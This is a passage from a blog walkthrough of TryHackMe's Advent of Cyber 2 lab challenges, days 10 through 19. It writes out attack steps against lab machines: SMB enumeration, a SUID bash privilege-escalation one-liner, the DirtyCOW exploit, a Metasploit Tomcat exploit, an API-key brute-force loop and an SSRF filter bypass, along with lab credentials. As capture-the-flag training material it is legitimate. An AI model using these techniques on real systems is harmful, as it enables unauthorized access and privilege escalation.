    index: 0x2 RID: 0x3ea acb: 0x00000010 Account: elfmceager       Name: elfmceager        Desc: 
    index: 0x3 RID: 0x3e9 acb: 0x00000010 Account: elfmcelferson    Name:   Desc: 
    
    user:[elfmcskidy] rid:[0x3e8]
    user:[elfmceager] rid:[0x3ea]
    user:[elfmcelferson] rid:[0x3e9]
    

    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day10]
    └─$ enum4linux -S tar.get
    
      ==================================== 
    |    Share Enumeration on tar.get    |
     ==================================== 
    
            Sharename       Type      Comment
            ---------       ----      -------
            tbfc-hr         Disk      tbfc-hr
            tbfc-it         Disk      tbfc-it
            tbfc-santa      Disk      tbfc-santa
            IPC$            IPC       IPC Service (tbfc-smb server (Samba, Ubuntu))

Now that I had the list of users and shares on the target, I tried to access the shares with the help of `smbclient` and the following command below.

    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day10]
    └─$ smbclient //tar.get/tbfc-santa -U <USERNAME> 

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986663722/76719f4e-4c47-4dd3-8ee5-7b394b423285.png)

However accessing it all 3 usernames returned a `NT_STATUS_LOGON FALIURE` error. Thus, I decided to login to the share `tbfc-santa` without a user parameter.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986665505/276327e0-191e-4a4c-b4f9-0c2994c2f3fd.png)

And we were in the share.

> Challenge

what directory did ElfMcSkidy leave for Santa?

I opened the file `note_from_mcskidy.txt` to look at the contents and this was what I found.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986666623/b57bf40a-d525-4dfb-99b4-cd074b7bc7bc.png)

Challenge solved!

* * *

\[Day 11\]  **The Rogue Gnome**
-------------------------------

> _Networking | Privilege Escalation | Linux_  
>   
> This is it - the moment that Elf McEager has been waiting for. It's the final exam of the Nmap course that he enlisted on during "_Day 8 - What's Under the Christmas Tree?_". It looks like all that hard work of hitting the books has paid off..."Success!" Elf McEager screams..."the exploit worked! Yippeee!"  
>   
> Elf McEager has successfully managed to create a reverse shell from the target back to his computer. Little did he know, the real exam begins now...The last stage of the exam requires Elf McEager to escalate his privileges! He spent so much time studying Nmap cheatsheets that he's now drawing a blank...Can you help Elf McEager?  
>   
> _To be the good guy, sometimes you gotta be the bad guy first..._

`Target = 10.10.68.216`

    SSH Credentials
    
    ssh cmnatic@10.10.68.216
    aoc220

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986668351/f3a550b4-c321-42e2-89a7-2f3b42ca899a.png)

I'm greeted with an account with limited privilege on login. The first thing I did was to host a simple python web server and throw my `linpeas.sh` over to the target machine.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986670149/bda76e3e-0570-4125-a23d-e2eab77df253.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986671418/ccc7687f-1db1-4fa4-9d14-ab2c83226053.png)

Followed by that, I made the script executable and let it run to assist with the priv escalation. This script goes around the system environment and gathers the weakest links that could be possibly exploited.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986672412/623076db-f697-4ff2-b53a-7b78dcd6bfc1.png)

After the script had run, it returned a bunch of results. I narrowed it down to this `SUID` section which is usually known to have weak configurations to allow privilege escalation.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986674488/4ee89ec1-af58-4229-8b75-c9b4b250dfcb.png)

Here I noticed that `/bin/bash` had SUID set. I googled around for an exploit and found [this](https://gtfobins.github.io/gtfobins/bash/)!

    sudo sh -c 'cp $(which bash) .; chmod +s ./bash'
    
    ./bash -p

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986675879/6791b468-b5dd-4582-a576-042a6d6c15b7.png)

Lastly, I took the flag located at `/root/flag.txt` and dipped for the day!

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986676670/5b7b3acf-1271-467b-9110-0d8a8092c1b0.png)

* * *

\[Day 12\]  **Ready, set, elf.**
--------------------------------

> _Networking_ _| Public Exploits_  
>   
> Christmas is fast approaching, yet, all remain silent at The Best Festival Company (TBFC). What gives?! The cheek of those elves - slacking at the festive period! Santa has no time for slackers in his workshop. After all, the sleigh won't fill itself, nor will the good and naughty lists be sorted. Santa has tasked you, Elf McEager, with whacking those elves back in line.

`Target = 10.10.115.154`

As always, I started off with an NMAP scan to recon the machine.

    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day12]
    └─$ nmap -Pn -sC -sV -A -oN initial.nmap 10.10.115.154
    Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
    Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-13 12:23 EST
    Nmap scan report for 10.10.115.154
    Host is up (0.35s latency).
    Not shown: 996 filtered ports
    PORT     STATE SERVICE       VERSION
    3389/tcp open  ms-wbt-server Microsoft Terminal Services
    | rdp-ntlm-info: 
    |   Target_Name: TBFC-WEB-01
    |   NetBIOS_Domain_Name: TBFC-WEB-01
    |   NetBIOS_Computer_Name: TBFC-WEB-01
    |   DNS_Domain_Name: tbfc-web-01
    |   DNS_Computer_Name: tbfc-web-01
    |   Product_Version: 10.0.17763
    |_  System_Time: 2020-12-13T17:23:49+00:00
    | ssl-cert: Subject: commonName=tbfc-web-01
    | Not valid before: 2020-12-11T21:55:21
    |_Not valid after:  2021-06-12T21:55:21
    |_ssl-date: 2020-12-13T17:23:55+00:00; +1s from scanner time.
    5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-server-header: Microsoft-HTTPAPI/2.0
    |_http-title: Service Unavailable
    8009/tcp open  ajp13         Apache Jserv (Protocol v1.3)
    | ajp-methods: 
    |_  Supported methods: GET HEAD POST OPTIONS
    8080/tcp open  http          Apache Tomcat 9.0.17
    |_http-favicon: Apache Tomcat
    |_http-title: Apache Tomcat/9.0.17
    Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

I realized that port 8080 was open on the machine and tried to access it.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986677444/48b0af1d-518a-42d7-8ad8-80384d51a70b.png)

I was greeted with an Apache Tomcat page. I was also told that the version in use was `9.0.17`. I then started hunting for vulnerabilities relating back to this version of apache/tomcat. Eventually, I found [](https://www.exploit-db.com/exploits/49039)[this](https://www.exploit-db.com/exploits/47073) exploit over at [exploit-db](https://www.exploit-db.com). The best part about this exploit was that it had a Metasploit module.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986678354/71dac6e7-a57d-472c-b312-f263b97308d9.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986679195/ad72d31a-08a5-4e79-9aca-c066da5a44a6.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986680048/a8381cf9-f0e0-43b9-be23-89a5b3d61aaf.png)

Now I just had to set the appropriate params and break into the box.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986681322/21bc9ab7-548a-4f0b-88d4-beaa12994246.png)

Now that I had access to the machine, I just had to `type` flag 1 and get out :)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986682533/20c913b7-dfbf-4c1a-a6bf-ca594e9d3d19.png)

And that was the end of day 12!

* * *

\[Day 13\]  **Coal for Christmas**
----------------------------------

> _Special_ by [John Hammond](https://twitter.com/_johnhammond) _| Privilege Escalation | DirtyCow_

`Target = 10.10.185.205`

As always, I started off with an NMAP scan to recon the machine.

    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day13]
    └─$ nmap -sC -sV -A 10.10.185.205
    Nmap scan report for 10.10.185.205
    Host is up (0.35s latency).
    Not shown: 997 closed ports
    PORT    STATE SERVICE VERSION
    22/tcp  open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   1024 68:60:de:c2:2b:c6:16:d8:5b:88:be:e3:cc:a1:25:75 (DSA)
    23/tcp  open  telnet  Linux telnetd
    111/tcp open  rpcbind 2-4 (RPC #100000)
    | rpcinfo: 
    |   program version    port/proto  service
    |   100000  2,3,4        111/tcp   rpcbind
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    Nmap done: 1 IP address (1 host up) scanned in 36.96 seconds
    

I realized that port 23 aka `insecure TELNET` was open on the machine. Thus, I tried to access the machine via that port and got this back.

    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day13]
    └─$ telnet 10.10.185.205

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986684305/cafd93de-c500-4bb9-8982-5258008606dc.png)

    Username: santa
    Password: clauschristmas

Since port 22 aka `Secure Shell` was open on the machine, I tried accessing it with the same credentials.

    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day13]
    └─$ ssh santa@10.10.185.205

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986685139/c8b354c1-c8bc-4f40-86f0-667367431bf9.png)

Those credentials worked for `SSH` too!

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986686200/acd07ab6-7b47-4dfe-8792-4e7efb51cc6c.png)

Upon further inspection of the directory, I realized that one of the files that were in there contained snippets of an exploit named `DirtyCOW`. I then proceeded to check if the kernel running on the target machine was vulnerable to that exploit.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986687053/408bcc91-f53e-4fbe-b780-559e767ea3b0.png)

It was. So I moved on to google search a snippet of the C code placed on the machine and ended up with [this](https://github.com/imust6226/dirtcow/blob/master/dirty.c) full exploit. I put the exploit on the target machine and proceeded to compile it.

    $ gcc -pthread dirty.c -o dirty -lcrypt        

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986688429/01c50cce-403f-42dd-9862-6dd8d7d528be.png)

Now all there was left to do was, run the exploit and proffffffitttt???

    ./dirty

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986689410/84d5afe0-d724-4a3a-a006-208968f9f6da.png)

Now that the exploit has successfully completed, I proceeded to login via SSH to verify that I indeed had root permissions.

    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day13]
    └─$ ssh nee@10.10.185.205
    

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986690471/59a93672-ecb6-42a3-b9ca-936d563029df.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986692394/36f73f3b-468b-4081-b8e1-9e1efb5fccd2.png)

> Challenge

Uh oh, looks like that perpetrator left a message! Follow his instructions to prove you really did leave Coal for Christmas!

After you leave behind the coal, you can run tree | md5sum

What is the MD5 hash output?

    nee@christmas:~# touch coal
    nee@christmas:~# tree | md5sum

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986693539/268189d7-cbc7-4b2e-a162-87362085a370.png)

That was a great challenge by [John Hammond](https://www.johnhammond.org/)!

* * *

\[Day 14\]  Where's Rudolph?
----------------------------

> _Special_ by [TheCyberMentor](https://twitter.com/thecybermentor) _| OSINT_  
>   
> 'Twas the night before Christmas and Rudolph is lost  
> Now Santa must find him, no matter the cost  
> You have been hired to bring Rudolph back  
> How are your OSINT skills? Follow Rudolph's tracks...  
>   
> While hunting and searching for any hints or clues  
> Santa uncovers some details and shares the news  
> Rudolph loved to use Reddit and browsed aplenty  
> His username was `IGuidetheClaus2020`

With the provided username, I went straight to google and discovered the reddit profile.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986694766/71ae2621-b4c3-4e37-bd9f-8ac75dcbcba7.png)

> Challenge 1

What URL will take me directly to Rudolph's Reddit comment history?

This challenge was solved via the google query.

> Challenge 2

On what other social media platform might Rudolph have an account?

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986695906/77b7268f-7b48-437c-9f2a-8bb44098bd4a.png)

Going off one of Rudolph's comments, I was able to infer that he had an account on twitter.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986696960/0dc204bc-f46d-4992-b268-6c6ddf1ac05f.png)

I was also able to find our Rudolph's [twitter account](https://twitter.com/iguideclaus2020?lang=en) via another google query.

> Challenge 3

Based on Rudolph's post history, he took part in a parade. Where did the parade take place?

Going through Rudolph's twitter, I found couple images related to a parade. I threw it into Google's reverse image search [here](https://www.google.com/search?tbs=sbi:AMhZZiu1ghqnyDlFVUn3uBP8ulmxU7ARU1Xawlxb6Uh-W-dNZRovPh9DDqU1ZVy99bQGxNGtNgWjMC2F_1k_17Mak91gqAxYjSEJHWbjC3BlgAnrrsJY9tA_1a-AWMSBOwpxR1Z2p485LoDdFgY6wLmCXCYDnXufTjdLkbW0r6cUstQ-rDvJtvrtD9UWtwkgbChqNV1aognYdAYIlkfj_1WI1XAyX5_1yHqxjTqo1MGGXPWlZR2tTHOSuHgW4yWbRczDkuq-FsWvY9qqXIjoucCltd8EOqcXo4SuNkiBPZ_1OPefjLdy3sG6ZBxNHoFwQc2Gc-uZRMCn_14Q6YM&hl=en-SG) and found the information to this challenge.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986698044/105a57de-25cd-43e5-98f6-289390ba65db.png)

> Challenge 4

Did you find a flag too?

Rudolph had posted a "high resolution" photo on twitter over [here](https://t.co/jmI66ZuNZI?amp=1). I threw that photo into exiftool and uncovered the flag.

    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day14]
    └─$ exiftool lights-festival-website.jpg | strings | grep FLAG

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986699816/fa4c9ff9-ab31-46cd-9319-083a8f266151.png)

Great start to OSINT challenges! Big up [The Cyber Mentor](https://www.thecybermentor.com/)!

* * *

\[Day 15\]  There's a Python in my stocking!
--------------------------------------------

> _Scripting | Python_  
>   
> Simple introduction to python.

    x = [1, 2, 3]
    
    y = x
    
    y.append(6)
    
    print(x)

> Challenge

What is the output of the program provided in today's material?

The solution to that would actually be `[1, 2, 3, 6]`. This is due to the "Pass by reference" rule.

* * *

\[Day 16\]  Help! Where is Santa?
---------------------------------

> _Scripting_ _| Requests_  
>   
> Oh no! Santa 🎅 has taken off, leaving you -- the faithful elves behind! Can you help find Santa's location?  
>   
> CLUE: Santa's Sled has an API we can talk too. The key for the API is between 0 and 100, and it's an odd number. But be careful! After an unknown number of attempts, Santa's Sled will ban your IP address.

`Target = 10.10.1.51`

As always, I started off with an NMAP scan to recon the machine. This was to discover which port the web API was hidden on.

    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day16]
    └─$ nmap -sV -sC -A 10.10.1.51
    Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-16 11:40 EST
    Nmap scan report for 10.10.1.51
    Host is up (0.39s latency).
    Not shown: 999 closed ports
    PORT     STATE SERVICE  VERSION
    8000/tcp open  http-alt uvicorn
    |   HTTPOptions: 
    |     HTTP/1.1 405 Method Not Allowed
    |     date: Wed, 16 Dec 2020 16:41:00 GMT
    |     server: uvicorn
    |     content-length: 31
    |     content-type: application/json
    |     Connection: close
    |_    {"detail":"Method Not Allowed"}
    |_http-server-header: uvicorn
    |_http-title: Santa's Tracker

From the NMAP scan, I found out that the webserver was hidden and running on port `8000`.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986700884/c29511a0-2c2e-45a2-95ae-0258e8f44a0c.png)

I was provided with a page filled with hyperlinks when I tried to access the webpage.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986702320/62e35dc5-d42c-4ea1-9d06-a377831ef7fc.png)

Upon inspecting the source, I found the absoloute path of the `API` and its usage.

`[http://10.10.1.51:8000/](http://10.10.1.51:8000/)api/{API_KEY}`

Based off of the clue, The API key was an odd number and was in-between 0 and 100. Thus, I made a simple bash script to iterate through all values in-between 0 and 100. here's the script I wrote.

    #!/bin/bash
    x=1
    while [ $x -le 100 ]
    do
      curl  http://10.10.72.198:8000/api/$x
      printf "\n"
      x=$(( $x + 1 ))
    done

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986703474/fd5d8da4-6c7b-446c-b23d-4e7b08c43bec.png)

After running the script, I uncovered the correct API key value together with where Santa actually was. Another challenge in the bag!

* * *

\[Day 17\]  ReverseELFneering
-----------------------------

> _Reverse Engineering | GDB | Linux_  
>   
> McSkidy has never really touched low-level languages - this is something they must learn in their quest to defeat the Christmas monster.

Before jumping into the challenge, here are a few things I learnt about assembly along the way!

The first thing I learnt, was a tool called `Radare2`. [radare2](https://github.com/radareorg/radare2) is a framework for reverse engineering and analysing binaries. It can be used to disassemble binaries(translate machine code to assembly, which is actually readable) and debug said binaries(by allowing a user to step through the execution and view the state of the program).

Here's a file named `file1` and here's the output when its successfully executed.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986705283/5ba9ec81-7123-44f7-b162-903c589cbd3b.png)

The program adds up the value of `a` and `b`. It then displays the value as `c`.

To see what was happening under the hood, I ran the tool mentioned above on the file with the `-d` flag which specifies `debug mode`.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986706351/badbd562-19d6-4124-824b-7639e7dedabf.png)

Next, to ask the program to analyze the binary I simply responded with `aa`. When using `aa` the program might take 5-10 minutes to return results depending on your system. It analyses all symbols and entry points in the executable. The analysis, in this case, involves extracting function names, flow control information, and much more!

Once the analysis is complete, To find a list of the functions that was run throughout the program, I entered `afl`. This stands for `analyze function list`.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986707396/8aec0108-b198-464b-9107-5c01e7a90892.png)

During analysis I realized that there was a function at main. Thus, I used the command `pdf @main` to disassemble it. `pdf` stands for `Print Disassembly Function`.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986708671/7fbfe596-784c-4f47-b8b8-993005b4cfe9.png)

From this, I was able to see that the instructions declare 3 variables which are all integers at the start of the program. Changes to those variables happen during the 7th instruction. Thus I moved on to set a break point using the memory offset. `0x00400b55`. I used the command `db` to set a break point.

    db 0x00400b55

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986709993/13139198-4762-42be-87b2-70378e4616f2.png)

I ran the `pdf @main` command again to verify that the breakpoint was indeed set at the location that I wanted it to be at. Now that I've set a breakpoint, I ran the program using the command `dc`.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986711139/53d307d1-56b3-483f-8d2f-42fbfc86cd4e.png)

Running both the `dc` and `pdf @main` tells me that my break point was successfully hit. From this, I could tell that the program was moving the value `4` (double word) into the variable `var_ch`. The same thing happens with the value `5` and the variable `var_8h`.

Next up, I wanted to view the value of the contents of the `local_ch` variable. For this I needed to run a command together with the memory address of that particular variable. I uncovered the memory address using the command `pdf @main`.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986712902/0c89c8ce-176d-4af0-a439-ef833e19d363.png)

To view the contents, I used the command `px @ rbp-0xc`.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986714196/441429d3-9041-404f-bc8e-e00cb43f359a.png)

Upon inspection of the memory location dump, I realized that `4` was nowhere to be found. After some time, I realized that my breaking point was set at the instruction. Thus, the instruction hasn't actually ran yet. To advance further, I used the command `ds`.

    dc = Continues until a breakpoint it hit
    ds = Continues to the next step in instructions

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986715563/6578bf3b-b75f-4248-850b-708736978798.png)

Now I was able to see the value `04` in hex!

Skipping a few instructions ahead, I saw an `add` instruction which adds `eax` and `edx` and stores the result in `eax`

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986716695/04200587-6094-4e34-8ba0-92fba933cf89.png)

Now running the `dr` command displayed the register variables to proof that the instructions were interpreted correctly.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986717864/2698b658-8ce1-4c47-ba40-f13ac443ede6.png)

The next few set of instructions involve moving the registers back into the variables so that they can be referenced when the program prints the results.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986718902/de2c4b32-ff5f-42a0-b73c-7e096f8f6751.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986720076/c6ca3f8a-3d91-4497-a4da-3a14048f6bd3.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986721111/95ac91fa-6f8d-4202-a898-ceb8147ef8a1.png)

Lastly, the instructions call a `printf` function before closing the program to print out the response onto the terminal.

Now that's enough of that! Onto the challenge :0 (This challenge is based off of another file that was provided)

> Challenge 1

What is the value of local\_ch when its corresponding movl instruction is called (first if multiple)?

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986722167/859d77a0-2f8a-42f7-8864-13be02d421f3.png)

I first started by running `radare2` on the file with the debug flag and let it analyze the program with the command `aa`.

Next, I used the `pdf` command on the `main` function to print the disassembly of that function. That gave me what was needed for the first challenge.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986723266/379f091d-99ae-4d46-9dc5-4e368ecfc67f.png)

> Challenge 2

What is the value of eax when the imull instruction is called?

For this, I first went ahead and set a break point at the memory address `0x00400b62` using the command `db 0x00400b62`. I then ran the `dc` command so that the program would continue all the way till it hits the break point.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986724369/3b3de1ec-fabc-4afd-b260-4bee3f4eee56.png)

Since the dword variable `var_8h` was being moved into `eax`, I dumped the memory location using the variables address. That gave the answer to this challenge.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986725604/3257c16d-88f3-4385-8681-d20e31cfba5d.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986726671/fe642edc-2576-4495-bd84-96efe13216ed.png)

> Challenge 3

What is the value of local\_4h before eax is set to 0?

To solve this, I had to progress a couple steps ahead from my current breakpoint. I used the `ds` to progress to the next step.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986727819/3ead046f-a1ac-4c43-bee5-833a3dbc285d.png)

And with that, I'm done for this day. Reversing was one of my weakest spots. This challenge was really insightful and pushed me out of my comfort zone to learn a new reversing tool. Awesome challenge!

* * *

\[Day 18\]  The Bits of Christmas
---------------------------------

> _Reverse Engineering | GDB | Linux_  
>   
> "Silly Santa...Forgetting his password yet again!" complains Elf McEager. However, it is in fact Elf McEager who is silly for not creating a way to reset Santa's password for the TBFC dashboard.  
>   
> Santa needs to get back into the dashboard for Christmas! Can you help Elf McEager reverse engineer TBFC's application to retrieve the password for Santa?!

    RDP Creds
    
    Username: cmnatic
    Password: Adventofcyber! 

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986729014/b2ebe6c3-b03a-43f6-bb24-fa1272e5bdd7.png)

I was given an application that I was supposed to get around using reverse engineering. For this scenario, I could've either used [ILSpy](https://github.com/icsharpcode/ILSpy/releases) or [Dotpeek](https://www.jetbrains.com/decompiler/). I went with the first option.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986730377/6622f89a-6eea-4a19-a090-5e81b5921a42.png)

The application basically askes for a password and returns the following response if the entered string isn't matched.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986731341/d0b0caed-7e7c-4499-a1d8-373c1dc75109.png)

Opening the target application with `ILSpy` revealed the components the application was made of.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986732344/38b322d4-57f3-4f70-bcc2-cf22160848d5.png)

Upon, inspection I noticed that there's a class named `crack me`. Thus, I decided to take a look at it closer.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986733476/8fdaa7b0-0e75-4212-8e63-d52f2e7f3e21.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986735158/2e243912-491e-4a5a-967e-430611132290.png)

Looking at the `InitializeComponent()` function, I was able to see how the application was made and what takes place when the application is loaded on the user's screen.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986736393/a6e6bb37-54a4-4610-93cf-6cbfa32168b4.png)

From the `InitializeComponent()` function, I was able to tell that this function named `buttonActivate_Click()` was called when a user submits the password. So I started looking at the `buttonActivate_Click()` function.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986737983/0024d193-9c29-4126-8548-0bdd94771a58.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986739066/05caa574-5bcf-4af5-a5b8-926ebc9b3f0b.png)

In the function, I was able to uncover both the password to the application and the flag! With that, day 18's challenge is over!

* * *

\[Day 19\]  The Naughty or Nice List
------------------------------------

> Special by [Tib3ruis](https://twitter.com/TibSec)_| Web | SSRF_  
>   
> Santa has released a web app that lets the children of the world check whether they are currently on the naughty or nice list. Unfortunately, the elf who coded it exposed more things than she thought. Can you access the list administration and ensure that every child gets a present from Santa this year?

`Target = 10.10.33.21`

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986740461/c895363d-4f40-4b35-b6bf-42cb79727944.png)

I was greeted with this webpage when accessing the machine via port 80. When a search is made, I realized that its processed with a proxy parameter in the URL as shown below.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986741836/03e72aa0-2592-40ca-9d58-bed17a240a06.png)

    URL Encoded=
    http://10.10.33.21/?proxy=http%3A%2F%2Flist.hohoho%3A8080%2Fsearch.php%3Fname%3DNee
    
    URL Decoded=
    http://10.10.33.21/?proxy=http://list.hohoho:8080/search.php?name=Nee
    

While taking a closer look, I realized that `.hohoho` isn't a valid TLD on the internet. This led me to believe that it might be referencing a machine in the internal network.

So I tried to request the root of that particular internal web server using the following proxy parameter.

    URL Encoded=
    http://10.10.33.21/?proxy=http%3A%2F%2Flist.hohoho%3A8080%2F
    
    URL Decoded=
    http://10.10.33.21/?proxy=http://list.hohoho:8080/
    

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986743738/b0defd14-e388-4d3f-b770-70dee4bc2ba5.png)

The result returned a generic 404 error. However, this confirms that I was able to make the server request this modified `URL` provided by me.

Next, I tried to make the server request another site. In this case, this particular site you are reading this on.

    URL Encoded=
    http://10.10.33.21/?proxy=http%3A%2F%2Fneeranjan%2Ecom%2F%0A
    
    URL Decoded=
    http://10.10.33.21/?proxy=http://neeranjan.com/
    

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986746241/dd3a529d-b899-402d-8bad-459a5b855871.png)

This was the response I got. The internal firewall had blocked me from accessing items outside of their network.

I was hit with the same error message when I tried to access `locahost`. Thus, I concluded that they were only allowing access to domains starting with `list.hohoho`. To bypass this, I could use DNS subdomains and create my own subdomain starting with `list.hohoho` and point it to `127.0.0.1` which resolves localhost.

However, I would have to buy/reuse one of my domains and go through the hassle of setting up DNS records. Thus, I went with [localtest.me](https://readme.localtest.me/)! Check them out! localhost testing done right :)

Now that I had my payload theory ready, It was time to execute it. I encoded the URL as shown below.

    URL Encoded=
    http://10.10.33.21/?proxy=http%3A%2F%2Flist.hohoho.localtest.me
    
    URL Decoded=
    http://10.10.33.21/?proxy=http://list.hohoho.localtest.me
    

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986747663/a8c4747b-7328-42bc-8e4a-a0a406262eba.png)

And there it was! The password to the admin page.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986749109/d24c4ea8-0cbe-4fe8-836b-137e05634f21.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986750094/f6e4b334-972b-4486-858b-0d635ae1dfcb.png)

